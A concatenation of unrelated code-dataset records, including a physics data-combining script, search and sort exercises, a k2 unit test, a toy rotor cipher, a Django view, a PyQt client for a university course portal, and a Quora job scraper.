+{"seq_id":"45361243","text":"\"\"\"\n-----------------------\ncombine data and errors\n-----------------------\n\nData points and their corresponding errors are captured separately using web plot digitizer. Script reads files and\ncombines into a single file with structure: energy, s-factor, s-factor error\n\nNote, data was gathered incrementally from plots in papers hence this was performed on a file by file basis.\n\nDate: 16/07/19\nAuthor: P. Allan\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom dd_cross_section.pysrc.utils import get_wpd_data\nfrom dd_cross_section.pysrc.utils import sort_data\nimport numpy as np\n\n\ndef main(data_file=\"dd_n3he_s_factor_fig24_blair_data.csv\",\n error_file=\"dd_n3he_s_factor_fig24_blair_errors.csv\",\n debug=True):\n\n path_to_data = \"../data/raw/wpd_s_factor_data/dd_n3he/\"\n file_list = [path_to_data + data_file, path_to_data + error_file]\n\n for file in file_list:\n\n if file.split(\".\")[-2].split(\"/\")[-1].split(\"_\")[-1] == \"data\":\n energy, s_factor = get_wpd_data(file)\n energy_sort, s_factor_sort = sort_data(energy, s_factor)\n elif file.split(\".\")[-2].split(\"/\")[-1].split(\"_\")[-1] == \"errors\":\n energy_error, s_factor_error = get_wpd_data(file)\n energy_error_sort, s_factor_error_sort = sort_data(energy_error, s_factor_error)\n error = abs(s_factor_sort - s_factor_error_sort)\n\n if debug:\n plt.errorbar(energy_sort, s_factor_sort, yerr=error, marker=\"o\", lw=0, elinewidth=1, capsize=2, capthick=0.5,\n color=\"blue\")\n plt.xlabel(\"Energy [keV]\")\n plt.ylabel(\"$S$ [MeV.barn]\")\n plt.show()\n\n np.savetxt(\"../data/processed/dd_n3he/\" +\n data_file.split(\".\")[0] + \"_combined.csv\",\n np.transpose([energy_sort, s_factor_sort, error]), delimiter=\",\",\n header=\"E_CM [keV], S [MeV.barn], S_error [MeV.barn]\")\n\n\nif __name__ == \"__main__\":\n\n main(data_file=\"dd_n3he_s_factor_fig24_blair_data.csv\",\n error_file=\"dd_n3he_s_factor_fig24_blair_errors.csv\",\n debug=False)\n","sub_path":"pysrc/combine_data_and_errors.py","file_name":"combine_data_and_errors.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"181548959","text":"# TO-DO: Implement a recursive implementation of binary search\ndef binary_search(arr, target, start, end):\n if end >= start:\n midpoint = (start + end) // 2\n # target is in the exact middle of the array\n if arr[midpoint] == target:\n return midpoint\n # check left half\n elif arr[midpoint] > target:\n return binary_search(arr, target, start, midpoint - 1)\n # check right half\n else:\n return binary_search(arr, target, midpoint + 1, end)\n # target is not in array\n else:\n return -1\n\n\n# STRETCH: implement an order-agnostic binary search\n# This version of binary search should correctly find \n# the target regardless of whether the input array is\n# sorted in ascending order or in descending order\n# You can implement this function either recursively \n# or iteratively\ndef agnostic_binary_search(arr, target):\n # iterative solution\n start = 0\n end = len(arr) - 1\n isIncreasing = arr[start] < arr[end]\n while end >= start:\n midpoint = (start + end) // 2\n # target is in the exact middle of the array\n if arr[midpoint] == target:\n return midpoint\n # array sorted in ascending order\n if (isIncreasing):\n if arr[midpoint] > target:\n end = midpoint - 1\n else:\n start = midpoint + 1\n # array sorted in descending order\n else:\n if arr[midpoint] < target:\n end = midpoint - 1\n else:\n start = midpoint + 1\n return -1","sub_path":"src/searching/searching.py","file_name":"searching.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"363359892","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2020 Xiaomi Corporation (author: Haowen Qiu)\n#\n# See ../../../LICENSE for clarification regarding multiple authors\n\n# To run this single test, use\n#\n# ctest --verbose -R rmepsilon_test_py\n#\n\nfrom struct import pack, unpack\nimport unittest\n\nimport torch\n\nimport k2\n\n\nclass TestRmEpsilon(unittest.TestCase):\n\n def setUp(self):\n s = r'''\n 0 4 1\n 0 1 1\n 1 2 0\n 1 3 0\n 1 4 0\n 2 7 0\n 3 7 0\n 4 6 1\n 4 6 0\n 4 8 1\n 4 9 -1\n 5 9 -1\n 6 9 -1\n 7 9 -1\n 8 9 -1\n 9\n '''\n self.fsa = k2.str_to_fsa(s)\n self.num_states = self.fsa.num_states()\n weights = torch.FloatTensor(\n [1, 1, 2, 3, 2, 4, 5, 2, 3, 3, 2, 4, 3, 5, 6])\n self.weights = k2.FloatArray1(weights)\n\n def test_max_weight(self):\n forward_max_weights = k2.DoubleArray1.create_array_with_size(\n self.num_states)\n backward_max_weights = k2.DoubleArray1.create_array_with_size(\n self.num_states)\n wfsa = k2.WfsaWithFbWeights(self.fsa, self.weights,\n k2.FbWeightType.kMaxWeight,\n forward_max_weights, backward_max_weights)\n beam = 8.0\n remover = k2.EpsilonsRemoverMax(wfsa, beam)\n fsa_size = k2.IntArray2Size()\n arc_derivs_size = k2.IntArray2Size()\n remover.get_sizes(fsa_size, arc_derivs_size)\n fsa_out = k2.Fsa.create_fsa_with_size(fsa_size)\n arc_derivs = k2.IntArray2.create_array_with_size(arc_derivs_size)\n arc_weights_out = k2.FloatArray1.create_array_with_size(fsa_size.size2)\n remover.get_output(fsa_out, arc_weights_out, arc_derivs)\n self.assertTrue(k2.is_epsilon_free(fsa_out))\n self.assertEqual(fsa_out.size1, 6)\n self.assertEqual(fsa_out.size2, 11)\n self.assertEqual(arc_derivs.size1, 11)\n self.assertEqual(arc_derivs.size2, 18)\n self.assertTrue(\n k2.is_rand_equivalent_max_weight(self.fsa, self.weights, fsa_out,\n arc_weights_out, beam))\n\n def test_logsum_weight(self):\n forward_logsum_weights = k2.DoubleArray1.create_array_with_size(\n self.num_states)\n backward_logsum_weights = k2.DoubleArray1.create_array_with_size(\n self.num_states)\n wfsa = k2.WfsaWithFbWeights(self.fsa, self.weights,\n k2.FbWeightType.kLogSumWeight,\n forward_logsum_weights,\n backward_logsum_weights)\n beam = 8.0\n remover = k2.EpsilonsRemoverLogSum(wfsa, beam)\n fsa_size = k2.IntArray2Size()\n arc_derivs_size = k2.IntArray2Size()\n remover.get_sizes(fsa_size, arc_derivs_size)\n fsa_out = k2.Fsa.create_fsa_with_size(fsa_size)\n arc_derivs = k2.LogSumArcDerivs.create_arc_derivs_with_size(\n arc_derivs_size)\n arc_weights_out = k2.FloatArray1.create_array_with_size(fsa_size.size2)\n remover.get_output(fsa_out, arc_weights_out, arc_derivs)\n self.assertTrue(k2.is_epsilon_free(fsa_out))\n self.assertEqual(fsa_out.size1, 6)\n self.assertEqual(fsa_out.size2, 11)\n self.assertEqual(arc_derivs.size1, 11)\n self.assertEqual(arc_derivs.size2, 20)\n self.assertTrue(\n k2.is_rand_equivalent_after_rmeps_pruned_logsum(\n self.fsa, self.weights, fsa_out, arc_weights_out, beam))\n # cast float to int\n arc_ids = k2.StridedIntArray1.from_float_tensor(arc_derivs.data[:, 0])\n # we may get different value of `arc_ids.get_data(1)`\n # with different STL implementations as we use\n # `std::unordered_map` in implementation of rmepsilon,\n # thus below assertion may fail on some platforms.\n self.assertEqual(arc_ids.get_data(1), 1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"k2/python/tests/rmepsilon_test.py","file_name":"rmepsilon_test.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"312504387","text":"\"\"\"\n快速排序使用分治法(Divide and conquer)策略来把一个串行(list)分为两个子串行(sub-lists)。\n快速排序又是一种分而治之思想在排序算法上的典型应用。\n本质上来看,快速排序应该算是在冒泡排序基础上的递归分治法。\n\n快速排序的最坏运行情况是 O(n²),比如说顺序数列的快排。\n但它的平摊期望时间是 O(nlogn),且 O(nlogn) 记号中隐含的常数因子很小,\n比复杂度稳定等于 O(nlogn) 的归并排序要小很多。\n所以,对绝大多数顺序性较弱的随机数列而言,快速排序总是优于归并排序。\n\n\n算法步骤\n从数列中挑出一个元素,称为 “基准”(pivot);\n\n重新排序数列,所有元素比基准值小的摆放在基准前面,所有元素比基准值大的摆在基准的后面(相同的数可以到任一边)。\n在这个分区退出之后,该基准就处于数列的中间位置。这个称为分区(partition)操作;\n\n递归地(recursive)把小于基准值元素的子数列和大于基准值元素的子数列排序;\n\n递归的最底部情形,是数列的大小是零或一,也就是永远都已经被排序好了。\n虽然一直递归下去,但是这个算法总会退出,因为在每次的迭代(iteration)中,它至少会把一个元素摆到它最后的位置去。\n\"\"\"\n\n\ndef quickSort(arr, left=None, right=None):\n left = 0 if not isinstance(left, (int, float)) else left\n right = len(arr) - 1 if not isinstance(right, (int, float)) else right\n if left < right:\n partitionIndex = partition(arr, left, right)\n quickSort(arr, left, partitionIndex - 1)\n quickSort(arr, partitionIndex + 1, right)\n return arr\n\n\ndef partition(arr, left, right):\n pivot = left\n index = pivot + 1\n i = index\n while i <= right:\n if arr[i] < arr[pivot]:\n swap(arr, i, index)\n index += 1\n i += 1\n swap(arr, pivot, index - 1)\n return index - 1\n\n\ndef swap(arr, i, j):\n arr[i], arr[j] = arr[j], arr[i]\n\n\nprint(quickSort([10, 1, 4, 6, 14]))\n","sub_path":"排序算法/快速排序.py","file_name":"快速排序.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"630654547","text":"class Rotor:\n def __init__(self, k, rid):\n self.s = list(range(26))\n self.rid = rid\n klen = len(k)\n c = 0\n j = (rid + k[0])\n for x in range(klen):\n j = (j + k[x]) % 26\n i = 0\n rnds = (26 * rid) + rid + j\n for x in range(rnds):\n k[i] = (k[i] + self.s[j]) % 26\n j = (j + self.s[j] + k[i] + rid) % 26\n self.s[c], self.s[j] = self.s[j], self.s[c]\n c = (c + 1) % 26\n i = (i + 1) % klen\n\n self.k = 0\n for x in range(klen):\n self.k = (self.k + k[x]) % 26\n\n self.i = 0\n self.c = j\n self.notch = j\n\n def encipher(self, num):\n self.k = (self.k + self.s[self.k]) % 26\n return (self.s[self.k] + self.s[self.c] + num) % 26\n\n def decipher(self, num):\n self.k = (self.k + self.s[self.k]) % 26\n return (num - self.s[self.k] - self.s[self.c]) % 26\n\n def _clock(self):\n self.c = (self.c + 1) % 26\n self.s[self.c], self.s[self.k] = self.s[self.k], self.s[self.c]\n\nclass Wiring:\n def __init__(self, nrotors):\n self.n = nrotors\n self.r = []\n self.e = []\n\n def tonums(self, string):\n a = []\n for char in string:\n num = ord(char) - 65\n a.append(num)\n return a\n\n def rotorsetup(self, key):\n k = self.tonums(key)\n for rid in range(self.n):\n k = self._prock(k, (rid + 1))\n self.r.append(Rotor(k, (rid + 1)))\n\n def resetrotors(self):\n self.r = []\n \n def _prock(self, k, rid):\n for x in range(len(k)):\n k[x] = (k[x] + rid) % 26 \n return k\n\n def fillentropy(self, key):\n t = \"\"\n for x in range(1000):\n t += \"A\"\n t = self.encrypt(t, key)\n return self.tonums(t)\n\n def encrypt(self, chars, key):\n ctxt = []\n self.rotorsetup(key)\n for char in chars:\n num = ord(char) - 65\n for r in range(self.n):\n if self.r[r].c == self.r[r].notch:\n self.r[(r+1) % self.n]._clock()\n num = self.r[r].encipher(num)\n ctxt.append(chr(num + 65))\n self.resetrotors()\n return \"\".join(ctxt)\n \n def decrypt(self, chars, key):\n ctxt = []\n self.rotorsetup(key)\n for char in chars:\n num = ord(char) - 65\n for r in range(self.n):\n if self.r[r].c == self.r[r].notch:\n self.r[(r+1) % self.n]._clock()\n num = self.r[r].decipher(num)\n ctxt.append(chr(num + 65))\n self.resetrotors()\n return \"\".join(ctxt)\n\nclass Machine:\n nrotors = 3\n def __init__(self):\n self.wiring = Wiring(self.nrotors)\n\n def encrypt(self, msg, key):\n return self.wiring.encrypt(msg, key)\n \n def decrypt(self, msg, key):\n return self.wiring.decrypt(msg, key)\n\nclass KDF:\n def kdf(self, password, iterations=1000, keylen=26):\n if len(password) < keylen:\n for x in range((keylen - len(password))):\n password += \"A\"\n m = Machine()\n key = m.encrypt(password, password)\n for i in range(iterations):\n m.encrypt(key, key)\n return key\n","sub_path":"machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"23056033","text":"#!/usr/bin/env python3\n# coding: utf-8\n\nfrom rdbox.classifier_for_enable_disable_command import ClassifierForEnableDisableCommand\nfrom rdbox.crontab_control import CrontabControl\nfrom rdbox.helm_control import HelmControl\nfrom rdbox.ansible_control import AnsibleControl\n\nfrom logging import getLogger\nr_logger = getLogger('rdbox_cli')\nr_print = getLogger('rdbox_cli').getChild(\"stdout\")\n\n\nclass ClassifierForEnableCommand(ClassifierForEnableDisableCommand):\n\n # crontab format\n # [SCHEDULE, COMMAND, COMMENTS]\n SETTINGS_FUNCTYPES = [\n [\"* * * * *\", \"/usr/bin/sudo /usr/bin/python3 /opt/rdbox/bin/rdbox_cli hidden hosts_for_k8s_external_svc >/dev/null 2>&1\",\n ClassifierForEnableDisableCommand.FUNCTYPES_LIST[0]]\n ]\n\n @classmethod\n def execute(cls, args):\n if cls._validation(args.function_type) is False:\n return False\n # helm\n helm_chart_name = cls._map_func_to_helm(args.function_type)\n helm = HelmControl()\n is_success = helm.install_all(helm_chart_name, args)\n if not is_success:\n return False\n if args.function_type == cls.FUNCTYPES_LIST[0]:\n # add cron\n c = CrontabControl()\n if not c.write_all(args.function_type, cls.SETTINGS_FUNCTYPES[0]):\n return False\n elif args.function_type == cls.FUNCTYPES_LIST[1]:\n ret = -1\n cache_url = helm.get_docker_registry_ingress_hosts_all(\n helm_chart_name, args)\n if cache_url != \"\":\n ac = AnsibleControl()\n ret = ac.playbook_dockerconfig_enable_all(cache_url)\n else:\n ac = AnsibleControl()\n ret = ac.playbook_dockerconfig_disable_all()\n if ret < 0:\n return False\n cls._print_complete_message(cache_url)\n #############\n print(\"Finish!!\")\n return True\n\n @classmethod\n def _print_complete_message(cls, cache_url):\n r_print.info('###### INFO ######')\n r_print.info(\n 'All processing is completed. It takes a few minutes to reflect the network settings.')\n r_print.info('')\n r_print.info(\n 'Test Operation: If the response is \"{\"repositories\": []}\",')\n r_print.info('it is successful!!')\n r_print.info('$ curl {cache_url}'.format(cache_url=cache_url))\n r_print.info('{\"repositories\": []}')\n r_print.info('')\n r_print.info('##################')\n","sub_path":"bin/rdbox/classifier_for_enable_command.py","file_name":"classifier_for_enable_command.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"96476001","text":"from collections import defaultdict\r\nfrom _collections import defaultdict\r\n\r\n # Helper function used in testing; do not remove or modify\r\ndef palindrome(s : str) -> bool:\r\n return s == s[-1::-1]\r\n\r\n\r\ndef abs_of(f : callable) -> callable:\r\n \r\n return (lambda x: abs(f(x)))\r\n\r\n\r\ndef select(predicates : [callable]) -> callable:\r\n return lambda y : [x for x in y if all(i(x) for i in predicates)] \r\n\r\n\r\ndef talk(alist : [int]) -> [int]:\r\n \r\n assert len(alist) >= 1 and all(type(x) is int for x in alist), 'q1solution.talk: alist('+str(alist)+'empty or contains non int values'\r\n\r\n \r\n def count(index:int)->int:\r\n counter = 1\r\n while (index + counter) < len(alist) and alist[index + counter ] == alist[index]:\r\n \r\n counter += 1\r\n \r\n return counter \r\n ind = 0\r\n result = list()\r\n while ind < len(alist):\r\n temp = count(ind)\r\n result.extend([temp, alist[ind]])\r\n ind += temp\r\n return result \r\n\r\n\r\ndef made_quota(db : {str:(str,int,int)}) -> {str}:\r\n \r\n \r\n return { k for k , v in db.items() if all(x[2] >= x[1] for x in v)}\r\n ''''\r\n set_string = set()\r\n for key, value in db.items():\r\n for _a,b,c in value:\r\n if (c < b):\r\n \r\n break\r\n else:\r\n \r\n set_string.add(key)\r\n \r\n return set_string\r\n '''\r\n\r\n\r\ndef sales1(db : {str : (str,int,int)}) -> [str]:\r\n \r\n return [k for k in sorted(db, key = lambda x : sum(i[2] for i in db[x]), reverse = True) ]\r\r\n'''\r\n result = [] \r\n for k in sorted(db, key = lambda x : sum(i[2] for i in db[x]), reverse= True ):\r\n result.append(k)\r\n \r\n \r\n return result\r\n'''\r\n\r\n\r\ndef sales2(db : {str : (str,int,int)}) -> [(str,int)]:\r\n result = list()\r\n \r\n for k, v in db.items():\r\n \r\n sum = 0 \r\n for a, b, c in v:\r\n sum += c\r\n result.append((k, sum))\r\n \r\n result.sort(key=lambda x : (-x[1], x[0]), reverse=False)\r\n return result\r\n\r\ndef by_category(db : {str : (str,int,int)}) -> {str : (str,int,int)}:\r\n dic = defaultdict(list)\r\n \r\n for k , v in sorted(db.items()):\r\n for a,b,c in v:\r\n dic[a].append((k, b,c))\r\n \r\n return dict(dic)\r\n\r\n\r\n\r\ndef category_leaders(db : {str : (str,int,int)}) -> [int,{str}]:\r\n dic = dict()\r\n \r\n for k, v in db.items():\r\n for a, b, c in v:\r\n if a not in dic or dic[a][0] < c:\r\n dic[a] = [c, {k}]\r\n elif dic[a][0] == c:\r\n dic[a][1].add(k)\r\n \r\n \r\n return dic \r\n\r\n\r\nif __name__ == '__main__':\r\n from goody import irange\r\n # Feel free to test other cases as well\r\n \r\n print('Testing abs_of')\r\n f = abs_of(lambda x : 3*x+2)\r\n print( [(a,f(a)) for a in [-10, -5, 0, 5, 10]] )\r\n g = abs_of(lambda x : -x)\r\n print( [(a,g(a)) for a in [-10, -5, 0, 5, 10]] )\r\n \r\n print('\\nTesting select')\r\n big_odd = select ([(lambda x : x%2 == 1), (lambda x : x > 5)]) \r\n print( big_odd(range(1,10)) )\r\n scp = select([(lambda x : len(x) <=5),(lambda x : x[0] not in 'aeiou'),palindrome])\r\n print( scp(['rotator', 'redder', 'pepper', 'rotor', 'tiny', 'eye', 'mom', 'ere', 'radar', 'racecar', 'peep']) )\r\n\r\n print('\\nTesting talk')\r\n seq = [1]\r\n print(1, seq)\r\n for i in irange(2,10):\r\n seq = talk(seq)\r\n print(i,seq)\r\n\r\n # For testing functions: none should mutate these dicts\r\n lexus = {'Rich': {('car', 10, 4), ('suv', 10, 12)},\r\n 'Steve': {('crossover', 10, 12), ('car', 7, 8)},\r\n 'Nancy': {('truck', 10, 5), ('car', 10, 8)},\r\n 'Lori' : { ('suv', 10, 12), ('truck', 10, 10), ('car', 10, 15) } }\r\n \r\n ace = {'Alex' : {('hammer', 4, 7), ('saw', 6, 6)},\r\n 'Mark' : {('hammer', 6, 8), ('wrench', 7, 6)},\r\n 'Bernie': {('pliers', 4, 5), ('screws', 4, 2)},\r\n 'Mike' : { ('pliers', 2, 3), ('screws', 4, 4), ('wrench', 3, 3) },\r\n 'Katie' : { ('hammer', 1, 1), ('pliers', 2, 6), ('screws', 3, 5) } }\r\n\r\n ace2 = {'Alex' : {('hammer', 4, 6), ('saw', 6, 6)},\r\n 'Mark' : {('hammer', 6, 8), ('wrench', 7, 6)},\r\n 'Bernie': {('pliers', 4, 5), ('screws', 4, 7)},\r\n 'Mike' : { ('pliers', 2, 5), ('screws', 4, 4), ('wrench', 3, 3) },\r\n 'Katie' : { ('hammer', 1, 1), ('pliers', 2, 6), ('screws', 3, 5) } }\r\n \r\n print('\\nTesting made_quota')\r\n print(made_quota(lexus))\r\n print(made_quota(ace))\r\n \r\n print('\\nTesting sales1')\r\n print(sales1(lexus))\r\n print(sales1(ace))\r\n \r\n print('\\nTesting sales2') \r\n print(sales2(lexus))\r\n print(sales2(ace))\r\n print(sales2(ace2))\r\n \r\n print('\\nTesting by_category')\r\n print(by_category(lexus))\r\n print(by_category(ace))\r\n\r\n print('\\nTesting category_leader')\r\n print(category_leaders(lexus))\r\n print(category_leaders(ace))\r\n\r\n \r\n print('\\ndriver testing with batch_self_check:')\r\n import driver\r\n# driver.default_show_traceback = True\r\n# driver.default_show_exception = True\r\n# driver.default_show_exception_message = True\r\n driver.driver() \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"workspace/quiz1Practice/q1solution.py","file_name":"q1solution.py","file_ext":"py","file_size_in_byte":5348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"7825737","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom muneebulhassan.models import project, experience, experiencedetail, connect\n\n\ndef index(request):\n if(request.method==\"POST\"):\n name = request.POST.get('name','')\n subject = request.POST.get('subject','')\n email = request.POST.get('email','')\n cnt = connect(u_name=name, u_subject=subject , u_email=email)\n cnt.save()\n # print(request)\n projects = project.objects.all\n exp = experience.objects.all\n expd = experiencedetail.objects.all()\n parms ={'project' : projects, 'experience': exp, 'exp_detail' : expd }\n return render(request, \"index.html\",parms)\n\n\n\n\n# def add(request):\n# name = request.GET['username']\n# project = request.GET['project']\n# print(name + \" this is pasd \" + project)\n# return render(request, \"index.html\")\n","sub_path":"muneebulhassan/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"213087510","text":"\"\"\"Dahakian desktop application class module\n\nThis module implements a class used to manage app's forms and state.\n\"\"\"\nimport os\nimport time\nfrom dahakianapi.formrun import FormRunInterface\nfrom dahakianapi.intervalrun import kill_timer_by_name\nfrom dahakianapi.richlog import clear_logs\nscan_interval = 0.2\n\n\nclass App:\n \"\"\"Desktop application class.\"\"\"\n def __init__(self, app_version, form_list_path='forms.txt', mainformoverride=None):\n \"\"\"Initialize an application.\n\n Args:\n app_version: Version of application.\n form_list_path: Path to file with forms listed.\n \"\"\"\n\n self.app_version = app_version\n clear_logs()\n\n # Initialize run interfaces\n self.running_forms = []\n if mainformoverride:\n self.main_form = FormRunInterface(mainformoverride+'.py', mainformoverride)\n else:\n self.main_form = None\n self.run_interfaces = []\n for form in open(form_list_path):\n form = form.strip()\n form_runner = FormRunInterface(form+'.py', form)\n setattr(self, form, form_runner)\n if self.main_form is None:\n self.main_form = form_runner\n self.run_interfaces.append(form_runner)\n\n self.run()\n\n def run(self):\n \"\"\"Run an application.\"\"\"\n self.main_form.run()\n self.running_forms.append(self.main_form.name)\n while True:\n for interface in self.run_interfaces:\n if interface.scan_for_run():\n if interface.name not in self.running_forms:\n print('Launching ' + interface.name )\n interface.run()\n self.running_forms.append(interface.name)\n else:\n print('Warning: '+interface.name+' already started.')\n print('Active forms: ', self.running_forms)\n if interface.scan_for_killed():\n print('Killing ' + interface.name)\n if interface.name in self.running_forms:\n self.running_forms.remove(interface.name)\n print('Active forms: ', self.running_forms)\n interface.reset()\n if self.running_forms.__len__() == 0:\n self.terminate()\n break\n time.sleep(scan_interval)\n\n def terminate(self):\n \"\"\"Join remaining processes.\"\"\"\n for interface in self.run_interfaces:\n kill_timer_by_name(interface.name)\n if interface.main_process.is_alive():\n interface.main_process.join()\n","sub_path":"Visualization/dahakianapi/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"85003147","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nIn this example, we create a simple\nwindow in PyQt4.\n\"\"\"\n\nimport sys\nfrom PyQt4 import QtGui\nfrom PyQt4.QtGui import QFont\nimport urplogin\n\n\nclass Window(QtGui.QDialog):\n def __init__(self, parent=None):\n QtGui.QDialog.__init__(self, None)\n self.palette=QtGui.QPalette()\n # self.setBackgroud(\"Icon.jpg\")\n self.palette.setBrush(self.backgroundRole(), QtGui.QBrush('Icon.jpg')) \n self.setWindowTitle(u\"云南大学URP助手\")\n self.setGeometry(400,400, 600, 400)\n self.setWindowIcon(QtGui.QIcon(\"Icon.jpg\"))\n getGradeBtn=QtGui.QPushButton(u'成绩查询',self)\n getGradeBtn.move(150,350)\n addClassBtn=QtGui.QPushButton(u'自动选课',self)\n addClassBtn.move(300,350)\n removeClassBtn=QtGui.QPushButton(u'一键退课',self)\n removeClassBtn.move(450,350)\n teachEvalBtn=QtGui.QPushButton(u'一键评教',self)\n teachEvalBtn.move(0,350)\n add=QtGui.QPushButton('+',self)\n add.resize(25,25)\n add.move(300,168)\n self.classCode_title = QtGui.QLabel(u'选课代码',self)\n self.classCode = QtGui.QLineEdit(self)\n self.classCode_title.move(0,170)\n self.classCode.move(90,168)\n self.removeCode_title=QtGui.QLabel(u'退课代码',self)\n self.removeCode=QtGui.QLineEdit(self)\n self.removeCode.move(90,198)\n self.removeCode_title.move(0,200)\n self.hello=QtGui.QLabel(u'用户信息:\\n {0}\\n 学号:{1}\\n 学院:{2}\\n 专业:{3}'.format(user_data['Name'],user_data['Id'],user_data['Academy'],user_data['Major']),self)\n self.hello.setFont(QFont(\"Roman times\",12))\n self.list=QtGui.QPlainTextEdit(self)\n self.list.resize(200,250)\n self.list.move(350,30)\n self.list.setReadOnly(True)\n self.add_class_list=[]\n\n getGradeBtn.clicked.connect(lambda :self.get_result())\n addClassBtn.clicked.connect(lambda :urplogin.addClass(token=token,classCode=self.add_class_list))\n removeClassBtn.clicked.connect(lambda :urplogin.removeClass(token=token,classCode_remove=self.removeCode.text()))\n teachEvalBtn.clicked.connect(lambda :urplogin.teachEval(token=token))\n add.clicked.connect(lambda :self.add_list(self.classCode.text()))\n self.show()\n \n\n def add_list(self,add_code):\n \t\t# show_list()\n \t\tself.add_class_list.append(add_code)\n \t\tself.list.appendPlainText(add_code)\n\n def get_result(self):\n result=urplogin.getGrade(token=token)\n for line in result:\n self.list.appendPlainText(line['CourseName']+\":\"+line['Result'])\n\n\nclass LoginDialog(QtGui.QDialog):\n def __init__(self, parent=None):\n QtGui.QDialog.__init__(self, None)\n self.setWindowTitle(u\"云大URP登录系统\")\n self.user_title=QtGui.QLabel(u'用户名:')\n self.user = QtGui.QLineEdit(self)\n self.user.setText('')\n\n self.pwd_title=QtGui.QLabel(u'密码:')\n self.pwd = QtGui.QLineEdit(self)\n self.pwd.setText('')\n self.pwd.setEchoMode(QtGui.QLineEdit.Password)\n self.setWindowIcon(QtGui.QIcon(\"Icon.jpg\"))\n\n grid = QtGui.QGridLayout()\n grid.setSpacing(30)\n grid.addWidget(self.user_title, 1, 0)\n grid.addWidget(self.user, 1, 1)\n grid.addWidget(self.pwd_title, 2, 0)\n grid.addWidget(self.pwd, 2, 1)\n\n loginBtn = QtGui.QPushButton(u'登录', self)\n grid.addWidget(loginBtn, 3, 1)\n loginBtn.clicked.connect(self.login)\n\n self.setLayout(grid)\n\n\n def login(self):\n global token,user_data\n token,status_code,user_data=urplogin.getToken(self.user.text(),self.pwd.text())\n if status_code==200:\n self.accept()\n elif user_data==u\"验证码错误!\":\n self.login()\n else:\n QtGui.QMessageBox.critical(self, 'Error', \"%s\"%(user_data))\n\n\nif __name__==\"__main__\":\n app=QtGui.QApplication(sys.argv)\n ex=LoginDialog()\n ex.show()\n if ex.exec_():\n win=Window()\n win.show()\n sys.exit(app.exec_())\n\n\n","sub_path":"src/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"2349715","text":"from dotenv import load_dotenv\nfrom bs4 import BeautifulSoup\nimport json\nimport sys\nimport re\nimport os\nload_dotenv()\nsys.path.append(os.path.abspath(os.getenv(\"system_path\")))\nfrom lib import rabbit_mq\n\ntry:\n connection = rabbit_mq.create_connection()\n channel = connection.channel()\n\n channel.queue_declare(queue='quoraM_fetch_job_details', durable=True)\n channel.queue_declare(queue='quoraM_html_parse')\n\n count = 0\n\n def callback(ch, method, properties, body):\n global count\n count += 1\n print(\"\\n\\n\\ncount::\", count)\n # print(\" [x] Received %r\" % body)\n soup = BeautifulSoup(body, 'html.parser')\n jobs = soup.find_all(\"div\", class_=\"q-inline\") if soup.find(\"div\", class_=\"q-inline\") else ''\n print(\"\\nJob count before data formation:\",len(jobs))\n print(\"Creating job links...\")\n for item in jobs:\n job = {}\n job_link = item.getText().replace(\" \",\"-\")if item else None\n if job_link is None:\n continue\n job['job_link'] = 'https://www.quora.com/' + job_link\n print(\"\\njob::\", job)\n\n channel.basic_publish(exchange='', routing_key='quoraM_fetch_job_details', body=json.dumps(job))\n else:\n print(\"no Jobs data !!\")\n\n channel.basic_consume(\n queue='quoraM_html_parse', on_message_callback=callback, auto_ack=True)\n # channel.basic_consume(callback, 'remote_html_parse', no_ack=False)\n\n print(' [*] Waiting for messages. To exit press CTRL+C')\n channel.start_consuming()\nexcept Exception as e:\n error = {\n \"status\": \"Quora......... Error occured while parsing html\",\n \"errorMsg\": e\n }\n print(\"Error: \",e)\n","sub_path":"crawler/quora/product_design_engineer-m/parse_html.py","file_name":"parse_html.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"459879563","text":"# BSD 3-Clause License\n#\n# Copyright (c) 2017, Science and Technology Facilities Council and\n# The University of Nottingham\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, 